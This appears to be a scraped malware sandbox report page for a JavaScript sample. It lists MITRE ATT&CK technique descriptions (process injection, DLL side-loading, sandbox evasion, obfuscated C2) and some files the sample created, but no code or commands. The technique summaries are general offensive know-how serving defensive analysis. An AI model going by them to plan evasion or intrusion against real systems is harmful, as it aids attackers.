Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 16529230753138817875.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e22d10d6-3f69-458a-8f62-87967792ef3f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
16529230753138817875.js